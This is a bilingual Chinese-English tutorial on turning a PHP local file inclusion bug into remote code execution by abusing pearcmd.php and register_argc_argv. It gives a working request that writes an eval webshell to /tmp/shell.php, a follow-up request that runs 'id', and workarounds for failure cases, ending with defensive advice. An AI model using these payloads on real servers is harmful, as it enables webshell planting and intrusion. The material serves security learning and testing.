pearcmd.php的利用
在php7.3及以前,pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定**--with-pear**才会安装
1. 核心原理 (The Core Concept)
利用场景:当你拥有一个 LFI 漏洞,但无法上传文件,且目标服务器(通常是 Docker 容器)安装了 PHP 的 PEAR 扩展管理工具。 攻击逻辑:
- LFI 包含:通过漏洞包含服务器上的
pearcmd.php脚本。 - CLI 欺骗:利用 PHP 的
register_argc_argv特性,通过 HTTP URL 的查询字符串(Query String)向pearcmd.php传递命令行参数。 - 文件写入:调用 PEAR 的
config-create指令,将恶意 PHP 代码作为“配置参数”写入到服务器的可写目录(如/tmp),生成 Webshell。
2. 前置条件 (Prerequisites)
攻击成功的“三要素”:
- LFI 漏洞存在:能够包含任意路径的文件。
register_argc_argv = On:- 位置:
php.ini。 - 作用:开启后,PHP 会将 URL 中的
?key=value后的内容(Query String)通过空格(+)分割,赋值给全局变量$_SERVER['argv']。 - 现状:Docker 官方 PHP 镜像默认开启此选项。
- 位置:
- pearcmd.php 存在:
- 常见路径:
/usr/local/lib/php/pearcmd.php(Docker 标准路径)/usr/share/php/PEAR/pearcmd.php
- 验证方法:检查
phpinfo()中的include_path。
- 常见路径:
3. 攻击流程与 Payload 详解
第一步:构造恶意 Payload
我们需要构造一个 URL,既能触发 LFI,又能传递参数给 pearcmd。
标准 Payload 模板:
GET /vulnerable.php?file=../../usr/local/lib/php/pearcmd.php&%2bconfig-create%2b/&/<?php+@eval($_GET['cmd']);?>%2b/tmp/shell.php HTTP/1.1
Payload 逐段解析:
| URL片段 | 作用解析 |
|---|---|
file=...pearcmd.php | 触发 LFI:Web 应用加载并运行 pearcmd 脚本。 |
& | 分隔符:区分 LFI 参数和命令行注入参数(视情况而定)。 |
%2b (即 +) | 空格替代:在 argv 解析中,+ 被转换为空格,用于分隔命令行参数。 |
config-create | 参数 1 (Command):告诉 PEAR 执行“创建默认配置文件”的命令。 |
/&/<?php...?> | 参数 2 (Value):通常是配置文件的根路径。我们注入 PHP 代码。PEAR 会把这个字符串原样写入文件。 |
/tmp/shell.php | 参数 3 (File Path):指定配置文件的保存路径(必须可写)。 |
第二步:服务器内部执行逻辑
当请求发送后,服务器内部发生了什么?
解析 URL:PHP 引擎看到 register_argc_argv=On,将 Query String 解析为数组:
$_SERVER['argv'] = [
0 => 'pearcmd.php', // 脚本名
1 => 'config-create', // 命令
2 => '/&/<?php @eval($_GET[cmd]);?>', // 内容
3 => '/tmp/shell.php' // 目标文件
];
加载脚本:LFI 漏洞包含并运行 pearcmd.php。
执行命令:pearcmd.php 读取 $_SERVER['argv'],认为自己在命令行下运行。
写入文件:执行 config-create,将参数 2 的内容写入参数 3 指定的文件。
- 结果:
/tmp/shell.php被创建,内容包含<?php @eval(...) ?>。
第三步:触发 RCE
文件创建成功后,再次利用 LFI 包含这个新生成的文件:
GET /vulnerable.php?file=../../../../tmp/shell.php&cmd=id
结果:执行系统命令 id。
4. 关键限制与绕过 (Troubleshooting)
这是最容易踩坑的地方,请重点记录:
- 限制 1:等号 (
=) 的干扰- 问题:如果 URL Query String 中包含
=(例如?file=...¶m=value),PHP 某些版本可能不会生成$argv,或者 Web 应用可能会处理冲突。 - 解决:
- 尽量让 payload 位于 Query String 的最前面。
- 如果 LFI 点必须用 GET 参数(如
?page=...),这种利用可能会失效。
- 问题:如果 URL Query String 中包含
- 限制 2:路径猜测
- 问题:不知道
pearcmd.php在哪。 - 解决:利用目录扫描工具或读取
phpinfo()。
- 问题:不知道
- 限制 3:权限问题
- 问题:Web 用户(www-data)无法写入
/tmp或被open_basedir限制。 - 解决:尝试写入
/var/tmp/或 Web 目录下的uploads/文件夹。
- 问题:Web 用户(www-data)无法写入
5. 防御建议 (Defense)
- 关闭开关:在
php.ini中设置register_argc_argv = Off(最彻底的修复)。 - 卸载 PEAR:生产环境容器通常不需要 PEAR,构建镜像时应移除。
- 输入验证:严格过滤 LFI 参数,禁止
..和绝对路径。
Exploiting pearcmd.php
In PHP 7.3 and earlier, PEAR is installed by default; in 7.4 and later, it requires specifying --with-pear during PHP compilation for installation.
1. Core Principle (The Core Concept)
Exploitation Scenario: When you have a Local File Inclusion (LFI) vulnerability, cannot upload files, and the target server (usually a Docker container) has the PHP PEAR extension management tool installed. Attack Logic:
- LFI Inclusion: Include the
pearcmd.phpscript on the server via the vulnerability. - CLI Spoofing: Utilize PHP’s
register_argc_argvfeature to pass command-line arguments topearcmd.phpthrough the HTTP URL’s query string. - File Write: Invoke PEAR’s
config-createdirective to write malicious PHP code as a “configuration parameter” to a writable directory on the server (e.g.,/tmp), generating a webshell.
2. Prerequisites (Prerequisites)
The “three elements” for a successful attack:
- LFI Vulnerability Exists: Ability to include files from arbitrary paths.
register_argc_argv = On:- Location:
php.ini. - Function: When enabled, PHP will parse the content after
?key=valuein the URL (Query String), splitting it by spaces (+), and assign it to the global variable$_SERVER['argv']. - Current Status: Docker’s official PHP images enable this option by default.
- Location:
- pearcmd.php Exists:
- Common Paths:
/usr/local/lib/php/pearcmd.php(Docker standard path)/usr/share/php/PEAR/pearcmd.php
- Verification Method: Check the
include_pathinphpinfo().
- Common Paths:
3. Attack Flow and Payload Breakdown
Step 1: Crafting the Malicious Payload
We need to construct a URL that can both trigger LFI and pass parameters to pearcmd.
Standard Payload Template:
GET /vulnerable.php?file=../../usr/local/lib/php/pearcmd.php&%2bconfig-create%2b/&/<?php+@eval($_GET['cmd']);?>%2b/tmp/shell.php HTTP/1.1
Payload Section-by-Section Analysis:
| URL Segment | Function Analysis |
|---|---|
file=...pearcmd.php | Trigger LFI: The web application loads and runs the pearcmd script. |
& | Separator: Differentiates LFI parameters from command-line injection parameters (depending on context). |
%2b (i.e., +) | Space Replacement: In argv parsing, + is converted to a space, used to separate command-line arguments. |
config-create | Parameter 1 (Command): Tells PEAR to execute the “create default configuration file” command. |
/&/<?php...?> | Parameter 2 (Value): Typically the root path for the configuration file. We inject PHP code. PEAR will write this string verbatim to the file. |
/tmp/shell.php | Parameter 3 (File Path): Specifies the save path for the configuration file (must be writable). |
Step 2: Server-Side Execution Logic
What happens internally on the server after the request is sent?
Parse URL: The PHP engine sees register_argc_argv=On and parses the Query String into an array:
$_SERVER['argv'] = [
0 => 'pearcmd.php', // Script name
1 => 'config-create', // Command
2 => '/&/<?php @eval($_GET[cmd]);?>', // Content
3 => '/tmp/shell.php' // Target file
];
Load Script: The LFI vulnerability includes and runs pearcmd.php.
Execute Command: pearcmd.php reads $_SERVER['argv'] and believes it is running from the command line.
Write File: It executes config-create, writing the content from Parameter 2 to the file specified in Parameter 3.
- Result:
/tmp/shell.phpis created, containing<?php @eval(...) ?>.
Step 3: Triggering RCE
After the file is successfully created, use LFI again to include this newly generated file:
GET /vulnerable.php?file=../../../../tmp/shell.php&cmd=id
Result: Executes the system command id.
4. Key Limitations & Bypasses (Troubleshooting)
This is the section most prone to pitfalls, so focus on these notes:
- Limitation 1: Interference from Equals Signs (
=)- Issue: If the URL Query String contains
=(e.g.,?file=...¶m=value), certain PHP versions may not generate$argv, or the web application might handle conflicts. - Solution:
- Try to place the payload at the beginning of the Query String.
- If the LFI point must use a GET parameter (e.g.,
?page=...), this exploit might fail.
- Issue: If the URL Query String contains
- Limitation 2: Path Guessing
- Issue: The location of
pearcmd.phpis unknown. - Solution: Use directory scanning tools or read
phpinfo().
- Issue: The location of
- Limitation 3: Permission Issues
- Issue: The web user (www-data) cannot write to
/tmpor is restricted byopen_basedir. - Solution: Try writing to
/var/tmp/or theuploads/folder within the web directory.
- Issue: The web user (www-data) cannot write to
5. Defense Recommendations
- Disable the Switch: Set
register_argc_argv = Offinphp.ini(the most thorough fix). - Uninstall PEAR: Production environment containers typically do not require PEAR; it should be removed when building the image.
- Input Validation: Strictly filter LFI parameters, prohibiting
..and absolute paths.